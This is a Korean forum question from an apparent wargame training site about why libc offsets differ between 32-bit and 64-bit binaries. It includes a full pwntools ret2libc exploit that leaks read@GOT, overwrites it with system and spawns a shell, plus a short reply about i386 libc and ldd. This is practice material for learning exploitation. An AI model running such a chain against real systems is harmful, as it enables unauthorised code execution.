64bit vs 32bit 참조하는 라이브러리가 다른가요??

64bit 풀 때와 같은 방법으로 system 함수 offset을 구했는데 32bit에서는 system 부르라니까 엉뚱한 곳으로 가네요. 근데 서버에 연결해서 libc = ELF("libc.so.6")넣었을 때는 정상 작동합니다. 로컬에서만 이상한 곳으로 넘어가요. 아무래도 함수 offset 계산하는 곳이 문제인 것 같습니다.

  1. 32bit 64bit 프로그램 따라 참조하는 라이브러리가 다를 수 있나요?
  2. 그 프로그램이 참조하고 있는 라이브러리 버전을 확인할 방법이 있나요?
    아래는 제 소스 코드입니다.
from pwn import *
context.log_level = 'debug'

e=ELF("./basic_rop_x86")
p=process("./basic_rop_x86")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.31.so")

#p=remote("host3.dreamhack.games", 9643)
#libc = ELF("libc.so.6")

pause()
write_plt=e.plt["write"]
read_plt=e.plt["read"]
read_got=e.got["read"]

ret=0x080483c2
pop3=0x08048689

pl=b''
pl+=b'A'*0x48

#write(1,read_got,0x4)
pl+=p32(write_plt)
pl+=p32(pop3)
pl+=p32(1)
pl+=p32(read_got)
pl+=p32(0x4)

#read(0,read_got,0x4+0x8)
pl+=p32(read_plt)
pl+=p32(pop3)
pl+=p32(0)
pl+=p32(read_got)
pl+=p32(0x4+0x8)

#read(/bin/sh)
pl+=p32(read_plt)
pl+=p32(0)
pl+=p32(read_got+0x4)

p.send(pl)
p.recv(0x40)
read = u32(p.recv(4))
print("read: ",hex(read))
print("basslib: ",hex(read-libc.symbols['read']))
print("system: ",hex(read-libc.symbols['read']+libc.symbols['system']))
p.send(p32(read-libc.symbols['read']+libc.symbols['system'])+b'/bin/sh\x00')

p.interactive()
#pwnable
작성자 정보
답변 1
avatar
wyv3rn
무플 방지 위원회장
  1. 넵 다릅니다. 보통은 64비트는 x86_64를, 32비트는 i386을 참조합니다
  2. 메모리 릭이 별도로 필요합니다. 이 또한 취약점의 일종을 이용한 방식입니다. (앞서 배우신 카나리처럼요!)
    -로컬에서는 그냥
    ldd 파일명
    으로 확인 가능합니다
2022.11.20. 18:30
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기